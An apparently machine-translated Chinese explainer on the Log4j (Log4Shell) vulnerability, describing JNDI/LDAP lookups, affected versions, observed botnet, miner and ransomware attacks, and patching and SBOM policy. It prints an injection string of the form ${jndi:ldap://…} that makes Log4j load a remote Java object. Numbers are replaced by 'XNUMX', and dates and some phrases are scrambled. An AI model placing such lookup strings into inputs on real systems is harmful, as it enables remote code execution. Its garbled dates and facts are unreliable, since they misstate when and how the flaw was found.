2021 年 XNUMX 月下旬,我们发现了对网络安全的重大威胁。 此漏洞可能会影响全球数百万个计算机系统。
这是有关 Log4j 漏洞的指南,以及一个被忽视的设计缺陷如何使全球 90% 以上的计算机服务受到攻击。
Apache Log4j 是由 Apache Software Foundation 开发的基于 Java 的开源日志记录实用程序。 它最初由 Ceki Gülcü 于 2001 年编写,现在是 Apache 软件基金会项目 Apache Logging Services 的一部分。
世界各地的公司都使用 Log4j 库来启用对其应用程序的日志记录。 事实上,Java 库无处不在,您可以在来自 Amazon、Microsoft、Google 等的应用程序中找到它。
该库的突出地位意味着代码中的任何潜在缺陷都可能使数百万台计算机面临黑客攻击。 24 年 2021 月 XNUMX 日,一个 云安全 为阿里巴巴工作的研究员发现了一个可怕的缺陷。
Log4j 漏洞,也称为 Log4Shell,自 2013 年以来一直未被注意到。该漏洞允许恶意行为者在运行 Log4j 的受影响系统上运行代码。 9年2021月XNUMX日公开披露
行业专家称 Log4Shell 缺陷为 最近记忆中最大的漏洞.
在漏洞发布后的一周内,网络安全团队检测到数百万次攻击。 一些研究人员甚至观察到每分钟攻击次数超过一百次。
我们如何运作?
要了解 Log4Shell 为何如此危险,我们需要了解它的能力。
Log4Shell 漏洞允许执行任意代码,这基本上意味着攻击者可以在目标机器上运行任何命令或代码。
它是如何做到这一点的?
首先,我们需要了解 JNDI 是什么。
Java 命名和目录接口 (JNDI) 是一种 Java 服务,它允许 Java 程序通过名称发现和查找数据和资源。 这些目录服务很重要,因为它们为开发人员提供了一组有组织的记录,以便在创建应用程序时轻松引用。
JNDI 可以使用各种协议来访问某个目录。 这些协议之一是轻量级目录访问协议或 LDAP。
记录字符串时, 日志4j 当遇到以下形式的表达式时执行字符串替换 ${prefix:name}
.
例如, Text: ${java:version}
可能记录为文本:Java 版本 1.8.0_65。 这类替换是司空见惯的。
我们还可以有如下表达式 Text: ${jndi:ldap://example.com/file}
它使用 JNDI 系统通过 LDAP 协议从 URL 加载 Java 对象。
这有效地将来自该 URL 的数据加载到机器中。 任何潜在的黑客都可以在公共 URL 上托管恶意代码,并等待使用 Log4j 的机器记录它。
由于日志消息的内容包含用户控制的数据,黑客可以插入他们自己的 JNDI 引用,这些引用指向他们控制的 LDAP 服务器。 这些 LDAP 服务器可能充满了 JNDI 可以通过漏洞执行的恶意 Java 对象。
更糟糕的是,应用程序是服务器端应用程序还是客户端应用程序并不重要。
只要记录器有办法读取攻击者的恶意代码,应用程序仍然可以被利用。
谁受到影响?
该漏洞影响所有使用 APache Log4j 的系统和服务,版本为 2.0 至 2.14.1,包括 XNUMX。
多位安全专家建议,该漏洞可能会影响许多使用 Java 的应用程序。
该漏洞最初是在微软拥有的 Minecraft 视频游戏中发现的。 Microsoft 已敦促其用户升级其 Java 版 Minecraft 软件以防止任何风险。
网络安全和基础设施安全局 (CISA) 主任 Jen Easterly 表示,供应商拥有 主要责任 以防止最终用户恶意行为者利用此漏洞。
“供应商还应与客户沟通,以确保最终用户知道他们的产品包含此漏洞,并应优先考虑软件更新。”
据报道,袭击已经开始。 赛门铁克是一家提供网络安全软件的公司,它观察到了不同数量的攻击请求。
以下是研究人员检测到的攻击类型的一些示例:
- 僵尸网络
僵尸网络是由单个攻击方控制的计算机网络。 它们帮助执行 DDoS 攻击、窃取数据和其他诈骗。 研究人员在从 Log4j 漏洞下载的 shell 脚本中观察到 Muhstik 僵尸网络。
- XMRig 矿工木马
XMRig 是一个使用 CPU 来挖掘门罗币的开源加密货币矿工。 网络犯罪分子可以在人们的设备上安装 XMRig,这样他们就可以在他们不知情的情况下使用他们的处理能力。
- Khonsari 勒索软件
勒索软件是指一种恶意软件,旨在 加密文件 在电脑上。 然后,攻击者可以要求付款以换取对加密文件的访问权。 研究人员在 Log4Shell 攻击中发现了 Khonsari 勒索软件。 它们以 Windows 服务器为目标并利用 .NET 框架。
接下来会发生什么?
专家预测,完全修复 Log4J 漏洞带来的混乱可能需要几个月甚至几年的时间。
此过程涉及使用修补版本更新每个受影响的系统。 即使对所有这些系统进行了修补,仍然存在迫在眉睫的潜在后门威胁,黑客可能已经将这些后门添加到服务器开放以进行攻击的窗口中。
更多来自Google的 解决方案和缓解措施 存在以防止应用程序被此错误利用。 新的 Log4j 版本 2.15.0-rc1 更改了各种设置以缓解此漏洞。
默认情况下,所有使用 JNDI 的功能都将被禁用,远程查找也受到限制。 禁用 Log4j 设置中的查找功能将有助于降低可能被利用的风险。
在 Log4j 之外,仍然需要更广泛的计划来防止开源漏洞利用。
XNUMX月初,白宫发布了一份 行政命令 旨在改善国家网络安全。 它包括软件材料清单 (SBOM) 的规定,它本质上是一份正式文件,其中包含构建应用程序所需的每个项目的列表。
这包括诸如 开放源码 用于开发的包、依赖项和 API。 尽管 SBOM 的想法有助于提高透明度,但它真的对消费者有帮助吗?
升级依赖可能太麻烦了。 公司可以选择支付任何罚款,而不是冒着浪费额外时间寻找替代方案的风险。 也许这些 SBOM 只有在它们的 范围 进一步受到限制。
结论
Log4j 问题不仅仅是组织的技术问题。
业务领导者必须意识到当他们的服务器、产品或服务依赖于他们自己不维护的代码时可能发生的潜在风险。
依赖开源和第三方应用程序总是伴随着一些风险。 公司应考虑在新威胁出现之前制定风险缓解策略。
大部分网络都依赖于由全球数千名志愿者维护的开源软件。
如果我们想保持网络安全,政府和企业应该投资于资助开源工作和网络安全机构,例如 CISA.
发表评论